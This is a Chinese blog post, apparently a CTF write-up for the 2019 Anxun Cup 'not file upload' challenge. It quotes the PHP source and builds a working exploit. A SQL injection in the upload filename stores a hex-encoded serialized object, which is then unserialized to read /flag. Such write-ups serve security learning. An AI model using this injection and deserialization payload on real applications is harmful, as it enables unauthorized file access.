代码审计[四] [安洵杯 2019]不是文件上传 -insert注入触发反序列化

代码审计

发现无论简单与否,代码审计都总能卡我一阵子,真难做出正反馈给自己.....剪了个头发,散热性能好多了,也算是看懂了题目

这位师傅的wp讲的思路很好,贴出来这里[安洵杯 2019]不是文件上传 | BUUOJwp

[安洵杯 2019]不是文件上传

题目给了源码

show.php

比较具有功能点的就这个函数方法

#从数据库中读取数据(图片信息通过二维数据方式存入数据库的)
	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){#如果有attr键,则将其内容中的'\0\0\0'替换为chr(0).'*'.chr(0)
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);#反序列化,敏感的地方
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

upload.php

继承helper类,如果文件存在则调用upload类的upload_base()然后调用upload方法,那重点还是在helper.php中了

helper.php

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);//要看他return了什么,getfile调用check [A],返回的是各种文件的信息
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);//宽高写死了,这里利用不了
		$id = $this->save($array);//save调用的是insert_array [B],负责插入图片数据到数据库中
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}
#[A]	
public function check($info)
	{   #比如hello.jpg
		$basename = substr(md5(time().uniqid()),9,16);//以时间作md5值从第9位开始取16个
		$filename = $info["name"];//hello.jpg
		$ext = substr(strrchr($filename, '.'), 1);//jpg
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);//hello
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}
#[B]
public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
            //将chr(0).'*'.chr(0)替换为\0\0\0
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
     	//这里是将各数组用','连接起来
    	//eg:INSERT INTO images (`name`,`size`,`type`) VALUES ('example.jpg','1024','image/jpeg')
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

将整个upload方法看完下来,我还真不知道能怎么反序列化,因为$array["attr"]的值动不了。但是看到后面的代码(以下的),这就是该反序列化吧

	public function view_files($path){
		if ($this->ifview == False){//让ifview为ture
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);//让$path=/flag
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}

于是看wp

insert 注入

可以知道插入数据库的时候有5个参数

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) 
VALUES ('title','16位md5截取的文件名','被限制类型的后缀','pic/xxxx.xxx','图片宽高')

根据上面的你会发现只有title是没有任何限制的,那title的值是什么?从[A]中可以看出他就是文件名

这时候就可以构造title为

1','1','1','1',payload)#

整个构造的sql语句就变成了

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) 
VALUES ('1','1','1','1',payload)#','16位md5截取的文件名','被限制类型的后缀','pic/xxxx.xxx','图片宽高')

数据存入数据库后,然后再后续调用show.php读取数据库内容,反序列化触发payload

字符编码问题

正常来讲payload明朗的看出来是

<?php
class helper {
	protected $ifview = True; 
	protected $config = "/flag";
}
echo serialize(new helper());
// O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

echo bin2hex(serialize(new helper()));
// 4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

由于属性是protected 所以是有不可见字符的,但是在POST传输不会对内容进行URL解码,所以要用SQL可以自动转码的hex编码,用bin2hex函数

title为

0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

最终payload

上传文件,抓包filename改为

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg

再次访问show.php即可触发获取flag

posted @ 2024-11-18 20:07  eth258  阅读(7)  评论(0编辑  收藏  举报